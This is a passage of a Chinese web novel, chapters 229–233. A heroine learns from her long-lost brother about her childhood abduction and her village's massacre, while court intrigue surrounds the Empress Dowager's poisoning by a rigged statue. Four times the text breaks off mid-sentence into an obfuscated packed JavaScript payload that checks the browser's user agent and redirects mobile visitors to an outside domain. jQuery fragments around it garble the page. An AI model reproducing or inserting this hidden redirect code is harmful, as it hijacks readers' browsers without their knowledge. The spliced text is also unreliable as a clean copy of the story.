赶忙也跟着行礼:“草民长风镖局棠云麒,参见王爷。”
谢翊宁原本还想装腔作势地摆一摆王爷的谱,但看到棠云麒那张和晏逐星有几分相似的脸,顿时愣住了。
“这位是……?”
“这是我大哥。”晏逐星赶忙解释,怕他不明白,还特意又补了一句,“亲大哥。”
谢翊宁的脑子这才转了过来。
什么报恩的镖师,这分明是亲兄长找上门来了!
谢翊宁脸上的不悦顿时消失,赶忙热情道:“不必这般拘礼,都是自己人。”
小恩人的亲哥哥,那就是他的亲哥哥!
这下轮到棠云麒一头雾水了。
自己人?
他和王爷?
这怎么听起来像在做梦。
“季太医,你先给令嘉县主瞧瞧吧。”谢翊宁没忘了最重要的是晏逐星的脑袋。
季太医认命地替她把了脉,又凝神细查了她的面色与眼底,最后仔细询问了头疼发作的时辰、位置与具体感受。
沉吟片刻,他捋着胡须,缓缓道:“县主身子并无大碍。脉象虽略有浮动,亦是心神激荡所致,并非病邪入侵。依老臣浅见……”
他抬眼看向晏逐星,目光带着一丝了然。
“县主此番头痛,多半是因受至亲重逢之大刺激,骤然冲开了昔年被药石之力强行封禁的记忆。那些尘封的往事陡然涌现,识海翻腾,一时难以承受,故有此剧烈头痛之症。”
“此乃郁结得疏之兆,虽一时难熬,却非坏事。待心境稍平,头疾自会缓解。只需静养,辅以安神定志之药,固本培元即可。”
有了他这话,谢翊宁放心了不少。
“那就有劳季太医开几副安神的药了。”他吩咐了下去。
“是。”季太医出门开药。
屋内就剩了谢翊宁、晏逐星还有棠云麒三人。
“婋婋,当**情你还记得多少?”棠云麒有些紧张地看着失而复得的妹妹。
第229章 被拐的真相(上)
“我记得不多了。”晏逐星摇了摇头。
“毕竟时间太久了。不如大哥先说说当**情吧,我怎么会和你们走散,一个人呆在街上,然后又被温如霜给抱走?”
“好。”棠云麒毫不犹豫地点头。
他瞧了一眼谢翊宁。
这位王爷,他们兄妹说悄悄话,他怎么还坐在这。
而被他盯着的谢翊宁丝毫不觉得自己该离开。
他和小恩人都一起杀过人了,这种小事还需要回避么。
晏逐星见大哥盯着谢翊宁,忙道:“无妨,大哥,永安王是自己人,他是特别特别好的人。我的事情,不必瞒着他。”
谢翊宁听到这话唇角不受控制地上翘,但又觉得自己这样不够有王爷的威严,赶忙又把嘴角给扯平了。
听到她这么说,棠云麒也没有再耽误,柔声道:“你还记得你叫什么名字吗?”
晏逐星迟疑地摇了摇头。
“我只记得,爹娘兄长都叫我潇潇……”
“哪个萧?”谢翊宁忍不住问道。
棠云麒露出了一个笑容,让人将笔墨纸砚拿了过来,提笔写下了她的原名。
“棠云婋。”
“婋,虎鸣也。亦通‘枭’,有勇猛之意。你父亲竟然给你取这样的名字。”谢翊宁有些惊讶,全然没想到她的本名用的是这个婋。
倒是和她十分般配。
他的小恩人,漂亮又勇敢。
“婋婋出生时,哭声嘹亮。她每次一哭,半个村的村民都能被她吵醒。”说起这事,棠云麒脸上满是宠溺的笑。
“而且她继承了阿娘力大无穷的天赋,小时候一拳就能把家里的铁锅砸出个凹坑。吃得也是最多的。家里的肉都是紧着她,让她先吃。”
“阿娘常常说婋婋嗓门大,爱吃肉,还被养得肉墩墩的十分结实,简直就是个小虎犊子。本欲给她取名棠云虎,阿爹说女子叫虎不好听,于是就给她取了这个名字。”
“阿爹还说,婋有女子俊慧的意思。希望婋婋长大以后当一个勇猛聪慧的女子。”
谢翊宁听完瞥了晏逐星一眼,眉头皱了起来。
定远侯府真是不干人事。
瞧瞧人家家里穷的时候都给孩子养得白白胖胖,怎么落到定远侯府手里,就瘦成了这样。
要不是他叮嘱衔蝉他们多给小恩人做些好吃的,让她长了点肉,如今棠家人瞧见了,还不知道得多心疼呢。
晏逐星听着兄长说这话,有些害臊。
她终于懂当初皇后娘娘当着她的面叫永安王“石头”时,永安王为什么会脸红了。
虽然都是家里人沉甸甸的爱,但就是莫名有点羞耻。
“家里的人,你还记得多少?”棠云麒又问。
“有阿爹,阿娘,有大哥……”晏逐星盯着他的脸,而后反应了过来,“还有二哥。”
见她还记得他们,棠云麒露出了笑意:“嗯,我和你二哥是双生子。你二哥叫棠云麟。”
“阿爹叫棠风陵,阿娘叫方青鸾。阿爹是秀才,从前是个教书先生……”
“从前?”晏逐星敏锐地发现了问题,她忍不住有些着急,“如今呢?”
“是。从前。”棠云麒眼中闪过一抹恨意。
他缓缓将这十几年来,棠家遭遇的事情说了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967309|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遍。
那一年,他和弟弟八岁,妹妹不到三岁。
那年上元节前夜,他们村子里来了一辆马车。
车上是一位自称姓秦的夫人,带着女儿说是来找青州找亲戚的。赶夜路不方便,能不能在他们家借宿。
她愿意出五两银子的住宿费。
一两银子够他们五口之家半月的口粮,阿娘听到五两银子便心动了。
毕竟天气冷了,她不能总上山打猎。
阿爹身子弱,教书耗心神,因而阿娘便同意了让他们借宿,但五两太多,只收了他们二两银子。
那位秦夫人带着两个护卫一个婢女,还有一个和妹妹年岁差不多的小姑娘。
秦夫人瞧见婋婋便笑着说他们有缘分,还拿出了好几件秦小姑娘的衣裳给妹妹打扮。
阿爹阿娘说不可,秦夫人却说相逢就是缘分。
那些都是旧衣裳,她女儿也穿不上了,婋婋喜欢就都给婋婋。
而且明日就是上元节,小姑娘穿得喜庆些才好看。
阿爹阿娘被她说服了。
婋婋穿着秦小姑娘的衣裳,和秦小姑娘并排站在一起梳一模一样的发髻时,看起来就跟亲姐妹似的。
光看背影,他差点都分不出谁是妹妹,谁是秦小姑娘。
翌日上元节,妹妹被秦小姑娘勾起了去青州看花灯的念头,也想跟着一块去玩。
秦夫人再三相劝,让他们全家跟着一块坐她的车去青州赏灯。
阿爹阿娘想着确实许久没有带他们去过青州了,于是在他们兄妹三人软磨硬泡下就答应了下来。
不曾想,那竟是噩梦的开始……
第230章 被拐的真相(下)
“都是我的错,要是我当初没有答应他们就好了。”棠云麒回忆起那件事情,眼里满是后悔与恨意。
如果没有去,婋婋就不会丢,棠家村更不会……
他说到这里,谢翊宁和晏逐星的脸色都沉了下去。
他们已经猜到了事情的始末。
那位秦夫人和小姑娘,应该就是潜逃出京的秦王妃和小郡主。
他们之所以把棠云婋打扮得和小郡主一模一样,想必是为了借她甩开京城来的追兵。
“大哥,不是你的错,是他们有心谋算陷害。是坏人的错。”晏逐星紧紧握住了大哥的手,眼里没有半分责怪。
棠云麒觉得喉头像是堵了一团棉花,吐不出来又咽不下去,难受得很。
他点了点头,艰涩地把后续的事情说了出来。
“后来我们跟着秦夫人一块去了青州,在青州还没来得及赏灯,忽然冒出了一群人追杀秦夫人。”
“秦夫人把秦小姑娘塞给了阿爹阿娘,让他们快跑。”
“她和护卫带着婋婋跑走了。”
“阿爹阿娘想着她的亲女儿还在我们手里,她应该会把婋婋带回来交换。”
“阿娘想去报官,但阿爹却说追杀秦夫人的人不像普通人,先不要急着报官,否则婋婋怕是会有危险。”
“于是我们兵分两路。”
“阿娘身体好,脚程快,领着秦家小姑娘回棠家村等秦夫人。阿爹说他们若是想要回孩子,一定会回去找我们的。”
“阿爹身子弱,就带着我和二弟去了青州知府府衙门口等着,若是阿娘没把婋婋带回来,再报官。”
“不曾想……”
说到这,棠云麒的脸色变得很难看。
他攥紧了拳头:“不曾想,阿娘回到棠家村时,棠家村二十一户村民,一百三十八口人,无论男女老少,尽数……被灭门。”
谢翊宁和晏逐星同时攥紧了拳头。
棠云麒哽咽的声音还在继续。
“阿娘察觉到不妙,带着秦家小姑娘想折回青州找我们,就被秦夫人的护卫给拦住了。他们带了不少人。”
“阿娘双拳难敌四手,将秦家小姑娘扔给他们之后立刻逃走了。”
“阿娘担心我们,片刻不敢停,当即重新赶回青州。阿爹得知此事,知晓屠村之人并非一般人,说不定人家等着咱们自己报官送上门。”
“于是马不停蹄带着我们从青州逃往了沂州,几度辗转最后在扬州落了脚。”
“这些年来,我们从未放弃过找你。”
他看向晏逐星,眼里已经蓄满了泪水。
“我十二岁时就想跟着柳镖头走镖,方便去各地找你,但阿爹阿娘不同意。十五岁那年我偷偷跟着走了一次镖,平安回家后,阿娘将我吊起来打了一顿。”
“我说为了找你,阿娘最后才放过我。不再反对我走镖。”
“阿爹阿娘也在用他们的法子找你。”
“阿娘力气大,普通人扛大包一次只能扛一包,阿娘双肩一边一包轻轻松松。”
“所以每次码头卸货时,她都会去扛大包挣钱,顺便打听来来往往的货船,有没有见过一个走丢的小姑娘,拜托他们若是有线索了,就告诉她。”
“流落扬州后,父亲再不敢提秀才身份。重新教书无望,便只得接了抄书、代写书信的活计糊口。”
“每每替人执笔,他总会在信末添上一笔:若得见一个唤作棠云婋的小姑娘,万望回音,有重谢。”
“只可惜,一直没有收到过你的消息。”
说到最后,他的声音已经哑得不像话。
“我知道的,我知道的。我从未怨过你们。”晏逐星拼命想要忍住眼泪,却无法控制。
一旁的谢翊宁静静听着,只觉自己的喉间也像是被什么东西死死堵住,又涩又紧。
晏逐星那无声滚落的泪,仿佛带着灼人的温度,烫得他鼻腔发酸,心口像被陈醋浸透了一般又沉又胀。
他下意识地想要替她擦掉眼泪,却又收回了手。
人家亲兄长在一旁呢,他这么做不合适。
于是他默默地将帕子递了过去。
晏逐星张手接过,想要拿帕子,却不小心抓住了谢翊宁的手。
她抓得太急,谢翊宁想要抽回来都来不及。
晏逐星似乎全身心都投在了回忆里,没有注意到自己正咬牙切齿,紧紧抓住了永安王的手。
“我想起来了……”
晏逐星一字一句
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967310|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道。
“秦夫人把我带走时,我手上多了一个手镯。”
“我很害怕,吵闹着要阿爹阿娘,他们不撒手,我便用力捶了抱着我的人一拳。”
“然后他就松手了。”
谢翊宁想起先前棠云麒说她小时候一拳能把铁锅砸出一个凹坑,顿时肃然起敬。
那个想要绑走她的秦王妃护卫,怕是伤得不轻。
“我摔到地上,然后撒腿就跑到了人多的地方。赏灯的人太多,他们没有追我。而我跑累了,吓坏了,就在人群里哇哇大哭。”
“后来,就是温如霜把我给抱走了。”
“她说她是官老爷的夫人,她认识阿爹阿娘,她可以带我去找她们……”
在大哥的提示下,晏逐星一点一点想起了当**情。
“嗯?所以定远侯夫人不是那个秦夫人???”棠云麒这才反应了过来。
当初借宿的人,并不是后来收养了妹妹的定远侯夫人。
谢翊宁接话:“不是。”
他将秦王妃的事情说了出来。
棠云麒恍然大悟。
原来先是秦王妃拐走了婋婋,婋婋机灵逃脱之后却被定远侯夫人给抱走了。
当年在青州知府衙门前,他分明见过那辆载着亲眷的马车驶入其中。
咫尺之遥,车帘内或许就坐着妹妹。
而他们竟就这样生生错过了十几年!
想到这里,棠云麒便懊悔得直捶桌子。
晏逐星被他这举动惊得下意识地伸手想去检查大哥的手有没有受伤,这才发现,自己刚刚竟然一直抓着永安王的手?!
她的脸瞬间涨得通红。
她偷偷瞥了一眼谢翊宁,见他盯着大哥像是在思索什么。
似乎没有计较她刚刚抓他手的事情,晏逐星长长地舒了一口气。
而忽然被松开手的谢翊宁则是在强装镇定。
不能脸红、不能脸红、不能脸红。
要淡定,要淡定,要淡定。
他拼命在心里警告自己。
他若露出了羞赧的神色,那小恩人多尴尬啊。
他清了清嗓子,主动开口转移了话题:“秦王妃或许是借了婋婋甩开京城的追兵,但屠了棠家村满门的,未必是她的人。”
第231章 太后中风了
“王爷言之有理。”晏逐星点了点头。
“若她有那个能耐,也就不需要我当小郡主的替身了。”
“那很可能屠村的人就是追杀她的人了。”棠云麒跟着接话。
他话音落下,晏逐星和他便同时看向了谢翊宁。
见他们直勾勾地盯着自己,谢翊宁一时间没反应过来。
片刻后,他指着自己的鼻尖质问道:“你们怀疑我父皇?”
棠云麒和晏逐星没说话。
当时秦王妃携女潜逃,圣上震怒,派人追去捉拿他们。
“绝不可能!”谢翊宁果断否认,“父皇不是那样的人。”
“若他为了追杀秦王妃不择手段,后来又怎会放弃继续寻找她们母女?”
谢翊宁坚决不相信自己的父皇会做那样的事情。
除了**的秦王,父皇对其他王叔都没有赶尽杀绝,只是让他们去了各自的封地。
他又怎么可能为了追杀秦王妃下令**无辜百姓。
“会不会是底下的人,隐瞒了皇上?”晏逐星提出了猜测。
“此事本王会命人去查,一定给你们一个交代。”谢翊宁看着他们兄妹二人澄澈的眼眸,坐立难安。
他待不下去了。
恨不得连夜查清棠家村被屠真相。
他心里莫名有些慌,急匆匆就走了,甚至都没来得及跟晏逐星道别。
上了马车时,他忍不住叮嘱照夜。
“你和衔蝉说,让她将县主照顾好。县主若是再犯头疾,让她直接去请季太医就好。”
“是。”照夜应下。
马车正欲离去时,晏逐星追了上来。
她轻轻敲了敲马车,谢翊宁拉开了帘子。
他有些不敢直视她的眼睛。
若棠家村被屠乃是父皇下令,他又该如何面对她呢。
不曾想,晏逐星却说了一句让他意想不到的话。
“王爷,我相信这事不是皇上做的。他是一个明君,绝不会做出这样滥杀无辜的事情。”
谢翊宁那颗无处安放的心忽然就落了地。
“本王也这般觉得。”他冲晏逐星笑了笑。
“此事,我一定会给你们一个公道。”
说完,他便直接回城入宫去了。
看着马车离开的背影,晏逐星长长地吐出了一口气。
这句话若是别人说,她不一定会信。
但是是永安王承诺的,她信。
他答应过她的事情,全都办到了。
她想,这一次也当如此。
*
谢翊宁去了宫中,却发现宫里从上到下都是一副紧张的神情。
他心里顿时有了计较。
得知父皇如今在太后那儿,他便改道去了长乐宫。
一进长乐宫,就听到了文昭帝在骂人。
“好端端的,太后怎么会中风?这点小事都查不出来,你们太医院是干什么吃的?”
地上跪了好几排的太医,一个个你看看我,我看看你都不敢说话。
“父皇,怎么发那么大的火。”谢翊宁走了进去。
看到他,文昭帝的脸色更难看了。
从昨日皇后生辰宴会开始,宫里就一阵接一阵的出事。
先是刺客,后是巫蛊娃娃,然后景王竟然也不省心,喝了点酒竟然就在宫里大庭广众之下行那等污秽之事。
想到昨日撞见的那一幕,文昭帝就气得咬牙切齿。
景王声称他是无辜的,被人下了药。
好嘛,他一查,那药是王贵妃的人准备的。
好好好,想必之前是用来算计皇后的,结果却不知怎么地算计到了景王身上。
真是给他气坏了。
要不是皇后体贴大度,安慰了他一晚上,他真的要被王贵妃母子给气**。
憋着一肚子的火上了早朝,下朝后,大理寺卿那边查出了昨日的巫蛊娃娃上朱砂的来源。
竟然是出自太后的长乐宫!
他正想来质问太后,刚踏进长乐宫的宫门,就看到太医们进进出出。
这才知道太后礼佛时,得知朱砂查到了长乐宫的宫女身上,气得当场中风了。
这一天天的,都是什么事啊。
“你来做什么?”文昭帝看着小儿子,顿时又警惕了起来。
这不省心的小儿子。
不会一大早就来给他的小恩人要赏赐吧?
还是说知道太后的惨状要来落井
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967311|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下石?
他警告地看了谢翊宁一眼,示意他想好了再说话,可别说些不中听的。
“儿臣来是有要事想问父皇,事关上百条人命。”谢翊宁一句话把文昭帝给砸懵了。
什么,上百条人命?
文昭帝目光顿时变得锐利:“什么情况?哪里闹出了这样大的命案?”
“是陈年旧案。”谢翊宁扫了一眼在场的人,没有直接把棠家村的事情说出来。
他转移了话题:“如今还是皇祖母的身体要紧。好端端的,皇祖母怎么就中风了呢?”
“你们来说。”文昭帝提到这事就一肚子的火,他看向了太医院院判赵泰。
看着文昭帝愤怒的模样,赵泰心尖一颤,声音恭谨又小心,带着十二万分的谨慎:
“启禀皇上,太后娘娘近来思虑过重,肝气郁结日久,以致气血逆乱,经脉失和。此次骤然中风昏厥,正是这郁结之气引动内风,上扰清窍所致。”
文昭帝眉头锁得紧紧的。
太后并非他的生母,她如今病重,朝中保不准会传出什么谣言。
他还没来得及开口,就听到小儿子冷哼了一声。
“思虑过重?”
“皇祖母思虑过重也不是一天两天的事情了!你们太医院是怎么当差的?”
“平日里请脉问安,难道就没看出丝毫端倪,没想过疏解之法?还是说你们只会用郁结于心这等万金油的由头来搪塞父皇?”
赵泰的冷汗“唰”地就流下来了。
永安王这话太重了。
若真坐实了太医院“当差不力”甚至“疏忽渎职”的罪名,整个太医院都要遭殃,他这个院判也不用干了。
瞧见文昭帝的脸色随着永安王开口之后变得越来越阴沉,赵泰扑通跪倒在地。
“皇上息怒,王爷息怒啊!臣等一直尽心尽力地替太后诊脉开方煎药,太后的情况一直在有所好转。按理来说,太后不该出现这样的情况才对。”他绞尽脑汁辩解了起来。
“那皇祖母怎么会晕倒在佛堂?”谢翊宁不轻不重地提醒了一句。
佛堂?!
赵泰猛地想起了一件重要的事情。
第232章 景王被囚禁
他赶忙开口补充:“皇上息怒!王爷息怒!臣方才只顾着禀报内因,竟疏忽了外邪之扰!臣、臣想起来了!”
“太后娘娘晕倒之后,臣等急忙赶至佛堂救治。当时佛堂里除了常见檀香的气味,臣确实还嗅到了一丝不同寻常的味道。那气息极淡,混杂在檀香之中,若有似无。”
赵泰说到这里,脑袋垂得更低了。
“臣当时便觉蹊跷,只是兹事体大,且那气味转瞬即逝难以捕捉,臣不敢妄下断言,更不敢在未查清前惊扰圣听,故而方才未敢提及。”
文昭帝没想到太后中风背后竟然还有别的原因。
他扫向了其他的太医,开口道:“你们也闻到了吗?”
先前有些想说但又不敢说的太医,听到这话,赶忙道:“臣等也闻到了,但不敢确定。”
听到好几个太医都这么说,文昭帝当即沉下了脸,命人封锁了太后的小佛堂。
“查,必须给朕查个一清二楚。究竟是谁吃了熊心豹子胆,竟敢谋害太后!”
不一会儿,太后的小佛堂就被翻了个底朝天。
太医们被拉过去挨个辨认那个异香的来源。
查来查去,最后所有人都指向了那个白玉观音像。
“香味似乎是从这个观音像上传出来的。”赵泰胆战心惊地将那尊莹润洁白的观音像捧了出来。
“朕不想听似乎,有没有证据?”文昭帝冷冷地看着他。
赵泰心中默念了一句“菩萨恕罪,弟子不得已而为之”,这才深吸一口气,着手检查起观音像。
他轻轻晃了晃,发现观音像里竟然传出了一阵细微的沙沙声。
他精神一振,立刻仔细检查了起来。
观音像上手捧着的瓶身与柳枝看似浑然一体,但当他用指甲在瓶口与柳枝根部极其细微的接缝处试探性地拨弄压时,指尖便传来一丝极其微弱的松动感。
“皇上,请容臣一试。”赵泰颤抖着声音询问。
见文昭帝点头,他这才取过旁边供桌上的一杯清水,将它小心翼翼地注入那玉净瓶中。
清水缓缓流入,起初并无异样。
然而,就在水面没过瓶内某个看不见的刻度时,那支由上好玉石雕琢而成的柳枝,竟无声无息地、极其缓慢地下沉了寸许!
紧接着,一股极淡的异香骤然从观音像莲台底座的缝隙中钻了出来。
没有了满屋子香烛的味道,这香气便显得格外明显。
“臣先前闻到的正是此物!”赵泰脱口而出,随后下意识地捂住了口鼻。
文昭帝命小太监将此物搬走。
赵泰扑通跪地,急声道:“皇上明鉴!此毒阴险,短闻无碍,久吸方显其害!轻则中风瘫痪,重则丧命!”
“太后礼佛心诚,佛堂香浓。此毒气息诡秘,混于檀香之中难以分辨,那幕后之人恐怕正是钻了这香火旺盛的空子。”
文昭帝脸色变得更难看了。
他看向了太后身边的桂嬷嬷:“这白玉观音像,哪来的?”
“回皇上,是景王殿下送的。”桂嬷嬷哆哆嗦嗦地回话。
“原来这就是景王兄长送的观音像啊。”谢翊宁跟着搭话。
昨日他才说了太后因为观音像偏袒景王,现在装作不知情未免太假。
“你也知道?”文昭帝扫了儿子一眼。
“知道,怎么不知道。”谢翊宁点了点头。
“皇祖母那日不是召了景王和王贵妃一同用膳么,王贵妃宫里的人到未央宫宫女面前炫耀过,是因为景王送了皇祖母一座白玉观音像,深得皇祖母喜欢。”
有了谢翊宁的作证,文昭帝当即命人将景王捆到了长乐宫。
景王一听自己送来的白玉观音像里边藏有毒香,害得太后中风,顿时大喊冤枉。
“求父皇明鉴,儿臣爱戴皇祖母还来不及,又怎会害她?!”
“父皇,儿臣将白玉观音送入宫时,根本不知道这白玉观音像里有毒啊。”
“若是知道,给儿臣十个胆子儿臣也不敢将它送给皇祖母啊。”
“再说了,父皇凭什么认定此事就是儿臣所为?”
“或许是送入宫后,它才被人动了手脚呢?”
“儿臣冤枉啊!!!”
看着父皇冰冷的眼神,景王意识到此事若是处理不好,他就彻底完了。
他砰砰地磕头,将脑袋都磕出了血,这才换来了文昭帝的一句“将景王囚于长乐宫,传三司会审此案。”
王贵妃得知儿子涉及太后中风一案,哭天喊地地要见皇上,要替儿子分辨。
但她被禁足,根本出不了她的寝宫,急得团团转。
她当即命人传信出宫给娘家人,让
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971878|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们明日早朝一定要替景王喊冤。
整个后宫都乱做了一团。
文昭帝将谢翊宁叫到了御书房,揉了揉疲惫的眉心,这才开口询问谢翊宁。
“你先前说的,上百条人命,又是什么情况?”
谢翊宁没有隐瞒,将棠家村的事情说了。
文昭帝的眼神顿时变得凝重了起来。
此事他竟从未听说过。
“传秦朔。”
当初负责捉拿秦王妃的正是隐麟卫。
不一会儿,隐麟卫首领秦朔便来了。
“当初你们追踪秦王妃,发生了什么事情?”
秦朔没想到皇上会忽然问这件事,赶忙整理了思绪,命人将隐麟卫卷宗拿了上来。
他翻找片刻后,呈阅给皇上。
“回皇上,当初我们追踪秦王妃母女到青州,在花灯会上发现了他们的踪迹。”
“我们不愿打草惊蛇,暗中搜寻,本欲等人稍后将其捉拿,不曾想街上却发生了**。”
“我们在找秦王妃时,发现了另一波人似乎也在追踪她们。臣以为是暗中护着她们的人。”
“后来秦王妃母女逃出了青州,臣等便彻底失去了她们的踪迹。”
文昭帝看完卷宗,又将它扔给了谢翊宁。
谢翊宁翻阅后,发现上边没有任何记载棠家村的消息。
文昭帝将棠家村的事情说了出来。
秦朔背后一凛,忙道:“臣这就快马加鞭去青州彻查此事。”
文昭帝点了点头示意他退下,而后又看向了谢翊宁。
“走吧,你去一趟未央宫。想必你母后对令嘉县主寻亲一事很感兴趣。你把这事告诉她,好好陪她说会儿话,让她高兴高兴。”
想到昨日皇后寿宴弄得一团糟。
如今刺客和巫蛊娃娃还没彻底查清,文昭帝便有些不敢去面对皇后。
只得让儿子顶上了。
“好。”谢翊宁毫不犹豫地答应了下来。
离开前,他不忘嘱咐文昭帝。
“父皇也要保重身体。这两日您太辛苦了。儿臣和母后还有太子哥哥可都指望着您呢,您呀,可千万别把自己给累坏了。”
听到他这话,文昭帝周身积攒的暑热与琐务疲惫,瞬间一扫而空。
谁说只有女儿才是贴心小棉袄的。
他的小儿子,也很贴心!
第233章 想好孩子名
谢翊宁去到了未央宫,跟母后说起了棠云麒的事情。
“竟然这般巧合?”崔皇后听了忍不住连连感慨。
若不是昨日晏逐星心善,命婢女帮了镖局的人一把。
棠云麒也不会找上门。
兄妹二人怕是又要错过,还不知道猴年马月才能相遇呢。
“是啊。”谢翊宁点了点头,又说起了晏逐星的亲生爹娘。
得知晏逐星的亲生父亲是读书人,崔皇后暗暗点头。
秀才好呀,秀才努努力考个举人,然后当进士。
皇上到时候稍微抬抬手,让他当个小京官,就算品级低,那晏逐星也成了官家小姐。
这身份呀,也能再抬一抬。
“她那兄长学识如何?”崔皇后忍不住打听。
若是学识不错,明年科考也一块下场。
到时候一门三进士,也是一桩美谈。
“儿臣并未询问太多。但棠家大哥十五岁就开始走镖……”谢翊宁没把话说完。
或许棠云麒志不在学问上。
“那也不晚。小时候启蒙的底子肯定还在,到时候让你舅舅找些好夫子,好好教教他们。争取早日中举!”崔皇后一门心思想要拉拔棠家人。
小儿子未来的岳丈一家,那自然过得不能太差。
“这事等之后儿臣问问吧。目前最重要的是,棠家村被屠一案。”谢翊宁把这事也说了出来。
崔皇后的表情顿时变得凝重了起来。
“怎会如此?”
“儿臣也想不明白。”谢翊宁摇了摇头。
此事并非父皇派出的人干的,那谁和秦王妃会有这样大的仇恨呢?
崔皇后眉心拧成了一团。
她严肃道:“此事必须要查个水落石出,那一百多个无辜百姓,不能就这样枉死了。”
“嗯,儿臣想亲自去查。”谢翊宁趁机把自己的想法也说了出来。
“那不行!”崔皇后果断反对。
虽然国师说了小石头已经过了死劫,但没到二十岁她总是有些不放心。
在那之前,她就希望儿子呆在自己眼皮子底下,哪都别去。
“儿臣想快些查清真相。”谢翊宁前所未有地着急。
此事一日不查清,他就一日心里不安。
总觉得背后还有什么阴谋。
毕竟能悄无声息地屠了一个村的人,不会是什么简单的势力。
那幕后之人,说不定会威胁到父皇的位置。
听完他的理由,崔皇后有所松动:“隐麟卫已经去查了,哪里用得着你。”
“母后,您不答应,我也会去的。”谢翊宁干脆开始耍无赖。
崔皇后柳眉倒竖:“合着你是来通知本宫的?”
“母~后~,我这不是为了父皇么~”谢翊宁嬉皮笑脸撒娇。
“行行行,去吧,多带点人。”崔皇后无奈答应,但又提了一个要求,“你得带上令嘉县主.”
“带上她做什么?多危险啊。”谢翊宁当即拒绝。
“事关她的亲友,她肯定很想亲自去查探这事。再说了,她总要认祖归宗吧,你带她故地重游,多好。若让她和兄长单独回去,多不安全。”
崔皇后给他分析了起来。
“你们可以先去青州棠家村查案,然后再一块去扬州将她家里人接到京城来。有你在,他们路上肯定方便多了。你不是要报恩么,你倒是付出实际行动呀。”
谢翊宁被母后这番话说动了。
“那儿臣回头问问她。”
崔皇后这才露出了笑容:“嗯,路上缺什么,记得跟母后说,母后给你们备齐。”
指望着儿子马上开窍是不可能了。
她得给他们制造些朝夕相处的机会才是。
从京城到青州,再到扬州,往返慢一些得两个月呢。
两个月的时间,就算小石头不开窍,小星儿总该开窍了吧?
都说丑媳妇总要见公婆,她儿这般风流倜傥、英俊潇洒,早些见岳父岳母,提前把他们拿下,日后提亲岂不是更方便了?!
小石头和小星儿两人模样生得都那么俊俏,日后的孩子还不知道多漂亮呢。
若有了孩子,叫什么名好呢……
谢翊宁还不知道他母后已经畅想到他和晏逐星的孩子叫什么名了。
他离开皇宫后,马不停蹄地又去了摘星山庄。
“您是说,您要亲自去青州彻查棠家村被灭门一案?”晏逐星有些惊讶。
“是。你和棠大哥若想去,咱们可以一块同行。先去青州,而后再去扬州接你爹娘和二哥,一块回京。”谢翊宁说完。
晏逐星有些心动。
她也想快点见到爹娘。
只是宋氏快生了,阮姨娘那边也得做出早产的症状把孩子给生下来。
她得处理好这事再离开。
晏逐星点点头,随后露出了迟疑的眼神:“王爷提议甚好。只是……我在京城里,还有些事情没有处理完。”
说完她偷偷瞥了大哥一眼。
混淆定远侯府血脉一事,说出去是要被人戳脊梁骨的。
多年未见,她不知道大哥是个什么性子。
若大哥是老实人,说出来吓到他怎么办。
见她不停偷瞄棠云麒,谢翊宁心里顿时有些酸溜溜的。
现在是找到亲大哥,可以和大哥一起回去了,用不着他这个外人了是吧。
他佯装不在意地看向照夜:“去青州的东西可备好了?”
照夜朗声回应:“回王爷,所有的东西皇后娘娘已经备好了。皇后娘娘还给县主也准备了东西,只盼你们一路平安。”
谢翊宁眉头微皱:“怎么还备了她的东西?”
照夜拱手道:“县主毕竟是王爷的救命恩人,青州又是县主的故乡,皇后娘娘收了县主那么大一份生辰礼。区区一些行囊,小事一桩,娘娘自然会命人准备好。”
“救命恩人?”棠云麒有些好奇地看着妹妹。
他还不知道妹妹和永安王有这么一段故事呢。
“这事说起来有点复杂。”晏逐星赶忙跳过了这个话题。
关于她和永安王的“救命之恩”,她还没想好怎么和大哥说呢。
“若王爷不急,等个几日咱们再出发吧?我许久未见爹娘,有些紧张。”晏逐星找了个借口。
谢翊宁心里舒坦了。
他这回明白了,晏逐星留在京城是真的有事,而不是不想和他一起走。
